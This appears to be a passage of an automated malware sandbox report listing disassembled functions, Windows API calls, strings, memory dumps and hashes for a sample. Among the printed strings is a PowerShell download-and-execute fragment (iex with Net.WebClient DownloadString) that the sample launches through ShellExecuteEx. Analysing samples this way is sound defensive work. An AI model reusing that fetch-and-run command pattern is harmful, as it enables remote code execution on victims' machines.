Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA920: lstrcpy.KERNEL32(00000000,?), ref: 00DAA972
Part of subcall function 00DAA920: lstrcat.KERNEL32(00000000), ref: 00DAA982

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

ShellExecuteEx.SHELL32(0000003C), ref: 00DA2D85

Strings

<, xrefs: 00DA2D39
')", xrefs: 00DA2CB3
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00DA2D04
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00DA2CC4

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 1362c0367dc3dbf1dcbcfb6436ae61c9aecfa28602773ef7ab98e47c9cf97b3b
Instruction ID: a4dc44c5267b6a0aad88da71c0adb8e31b1b6b52455c1548278d4ddc92a7e69b
Opcode Fuzzy Hash: 1362c0367dc3dbf1dcbcfb6436ae61c9aecfa28602773ef7ab98e47c9cf97b3b
Instruction Fuzzy Hash: 7D41DC71D102189ADB54EFA4C892BEEBB78EF11300F504219F006A7191EF746A4ACFB2

Function 6C5C74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C5C7526
__Init_thread_footer.LIBCMT ref: 6C5C7566
__Init_thread_footer.LIBCMT ref: 6C5C7597

Strings

kernel32.dll, xrefs: 6C5C7557
UnmapViewOfFile2, xrefs: 6C5C7552

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: fc40a5fde27340e617413f45a6fd7e3d42bc0f982fa383c49ee02ffd40a9006b
Instruction ID: 04318822fcfab672fe7b63127092f90cb564e6b11b9213541a851ff5aaa99f0e
Opcode Fuzzy Hash: fc40a5fde27340e617413f45a6fd7e3d42bc0f982fa383c49ee02ffd40a9006b
Instruction Fuzzy Hash: EC21F571B01501D7DB14CBEAEC54E593376EB8F3A4F06466DD50587F40DF34A8418AAB

Function 6C5CC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C5CC0E9), ref: 6C5CC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C5CC437
FreeLibrary.KERNEL32(?,6C5CC0E9), ref: 6C5CC44C

Strings

NtQueryVirtualMemory, xrefs: 6C5CC431
ntdll.dll, xrefs: 6C5CC413

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: bb95c57ce3e33a42fb438a5bc5986ff68c8b67168651804fb1918d6f78f7eb80
Instruction ID: 81a98f9dd245d7aae0683acb577616d366f0f5c5767728c29fa409e00a6ae915
Opcode Fuzzy Hash: bb95c57ce3e33a42fb438a5bc5986ff68c8b67168651804fb1918d6f78f7eb80
Instruction Fuzzy Hash: BFE0B671B093019BDF807FB5ED487117BF8A74E206F02932AAA04E1690EFB4D4008B5D

Function 00D99E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00D99F41

Part of subcall function 00DAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DAA7E6

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Strings

v10, xrefs: 00D99EA3
v20, xrefs: 00D99E21
@, xrefs: 00D99EF1
ERROR_RUN_EXTRACTOR, xrefs: 00D99E67

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 16f474a2d1073df80e52ba52057d810af85240ef9c1bb048e8038ab51d549120
Instruction ID: b3882f809ca86bc365f5304b97bff680b947f9dd43464efc66a416a21efde76f
Opcode Fuzzy Hash: 16f474a2d1073df80e52ba52057d810af85240ef9c1bb048e8038ab51d549120
Instruction Fuzzy Hash: 3A611A75A002489BDF24EFA8CC96BEE7775EF45300F008518F90A5B195EB74AA05CBB2

Function 6C571530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C57152B,?,?,?,?,6C571248,?), ref: 6C57159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C57152B,?,?,?,?,6C571248,?), ref: 6C5715BC
moz_xmalloc.MOZGLUE(-00000001,?,6C57152B,?,?,?,?,6C571248,?), ref: 6C5715E7
free.MOZGLUE(?,?,?,?,?,?,6C57152B,?,?,?,?,6C571248,?), ref: 6C571606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C57152B,?,?,?,?,6C571248,?), ref: 6C571637

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 2909d730d731bcb5a44faa2e7d5c50c5d4b54b8fe7f6f332a7dc001199463b81
Instruction ID: 5a2b9660633a69ab9e69c0529bb8ef8977b30ef68762e9f65f4d90ee374833ea
Opcode Fuzzy Hash: 2909d730d731bcb5a44faa2e7d5c50c5d4b54b8fe7f6f332a7dc001199463b81
Instruction Fuzzy Hash: FF31D871A001148BCB28DE78DC6046F77A9EB853647250B6DE427DBBD4EB30E94587A1

Function 6C5CAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C5DE330,?,6C58C059), ref: 6C5CAD9D

Part of subcall function 6C57CA10: malloc.MOZGLUE(?), ref: 6C57CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C5DE330,?,6C58C059), ref: 6C5CADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C5DE330,?,6C58C059), ref: 6C5CAE01
GetLastError.KERNEL32(?,00000000,?,?,6C5DE330,?,6C58C059), ref: 6C5CAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C5DE330,?,6C58C059), ref: 6C5CAE3D

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 9048ca5f624090350234fada2273a97aec4f3a246d7deda63737a21f59b95234
Instruction ID: 1877d1350bb25678cd3aff3cc884e1d42bb9f2010d8956e4a6e93b3fee2bebc3
Opcode Fuzzy Hash: 9048ca5f624090350234fada2273a97aec4f3a246d7deda63737a21f59b95234
Instruction Fuzzy Hash: BB3141B1A013159FDB50DFB98D44AABBBF8EF88614F15482DE84AD7700E734A804CBA5

Function 6C56B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C56B532
moz_xmalloc.MOZGLUE(?), ref: 6C56B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C56B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C56B57E
free.MOZGLUE(00000000), ref: 6C56B58F

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 71e66bb8ab35a360be6a38a130a0b0e34632ae56109deb13b49fa910d90d1452
Instruction ID: b86e3bac2cfee4c77c0fd0f68a4c936c7992acedfbda9a8b82781c05265abb5a
Opcode Fuzzy Hash: 71e66bb8ab35a360be6a38a130a0b0e34632ae56109deb13b49fa910d90d1452
Instruction Fuzzy Hash: C121F371A002059BDB00EF69CC40BAABBB9FF96304F284129F818DB752F736D911D7A1

Function 00DA6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00DA696C
sscanf.NTDLL ref: 00DA6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00DA69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00DA69C0
ExitProcess.KERNEL32 ref: 00DA69DA

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 141258235502d3d6fd4b134c8db9dcab7a44c82e530eefdf63b918873cf3cf78
Instruction ID: ec17cef564096775b721f0652e3371a1c0b13c339580cedde78236be9007f12f
Opcode Fuzzy Hash: 141258235502d3d6fd4b134c8db9dcab7a44c82e530eefdf63b918873cf3cf78
Instruction Fuzzy Hash: 3D21CB75D1420CABCF04EFE8D945AEEB7BAFF48300F04852AE416E3250EB349605DB69

Function 00DA9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0194E848,?,?,?,00DA140C,?,0194E848,00000000), ref: 00DA926C
lstrcpyn.KERNEL32(00FDAB88,0194E848,0194E848,?,00DA140C,?,0194E848), ref: 00DA9290
lstrlen.KERNEL32(?,?,00DA140C,?,0194E848), ref: 00DA92A7
wsprintfA.USER32 ref: 00DA92C7

Strings

%s%s, xrefs: 00DA92B5

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: c72cbd6c3aa93e4406abab9657b75982e0c165d16cac23461dc2a4f00656903b
Instruction ID: 32d1dc48567a47152585209cd0703033b4e689325900e81cd7323a69559f397f
Opcode Fuzzy Hash: c72cbd6c3aa93e4406abab9657b75982e0c165d16cac23461dc2a4f00656903b
Instruction Fuzzy Hash: 2E01E97550110CFFCB04DFE8C994EAE7BBAEB48350F148189F9098B241C631AA41EBA9

Function 6C5A0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C563DEF), ref: 6C5A0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C563DEF), ref: 6C5A0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C563DEF), ref: 6C5A0DAF

Strings

<jemalloc>, xrefs: 6C5A0D92, 6C5A0DB9
: (malloc) Error in VirtualFree(), xrefs: 6C5A0D97, 6C5A0DBE

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 27c6b4d8676e2290feb12fadf67a6cdd9b21fb2c002ecbad769123dc0aaca96a
Instruction ID: a05ce23e87d9900f537ae2a26b7b97efc9af484f2e45824a2f882be640c22e69
Opcode Fuzzy Hash: 27c6b4d8676e2290feb12fadf67a6cdd9b21fb2c002ecbad769123dc0aaca96a
Instruction Fuzzy Hash: 68F0E9323A039423E62422E71C0AB5F369D67CAB65F344037F256DA9C0DB64E80686AC

Function 6C58D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C59CBE8: GetCurrentProcess.KERNEL32(?,6C5631A7), ref: 6C59CBF1
Part of subcall function 6C59CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5631A7), ref: 6C59CBFA

EnterCriticalSection.KERNEL32(6C5EE784,?,?,?,?,?,?,?,00000000,756F2FE0,00000001,?,6C59D1C5), ref: 6C58D4F2
LeaveCriticalSection.KERNEL32(6C5EE784,?,?,?,?,?,?,?,00000000,756F2FE0,00000001,?,6C59D1C5), ref: 6C58D50B

Part of subcall function 6C56CFE0: EnterCriticalSection.KERNEL32(6C5EE784), ref: 6C56CFF6
Part of subcall function 6C56CFE0: LeaveCriticalSection.KERNEL32(6C5EE784), ref: 6C56D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,756F2FE0,00000001,?,6C59D1C5), ref: 6C58D52E
EnterCriticalSection.KERNEL32(6C5EE7DC), ref: 6C58D690
LeaveCriticalSection.KERNEL32(6C5EE784,?,?,?,?,?,?,?,00000000,756F2FE0,00000001,?,6C59D1C5), ref: 6C58D751

Strings

MOZ_CRASH(), xrefs: 6C58D4BB

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 1a489882bdbbc6375967a2bc4f557ba16e14b8ffaf2421291982741a410dce86
Instruction ID: 84a0aea35fbde7d69f8790c8780c4a6a3ce29ebbfc43def35c2bf0e8e9d8af69
Opcode Fuzzy Hash: 1a489882bdbbc6375967a2bc4f557ba16e14b8ffaf2421291982741a410dce86
Instruction Fuzzy Hash: 5551F271A057568FD768CF29C89071AB7E2EB8E304F558A2FD599C7B85DB70E800CB81

Function 00DAC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00DAC8EC
___crtLCMapStringA.LIBCMT ref: 00DAC90C
___crtLCMapStringA.LIBCMT ref: 00DAC931

Strings

, xrefs: 00DAC896

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
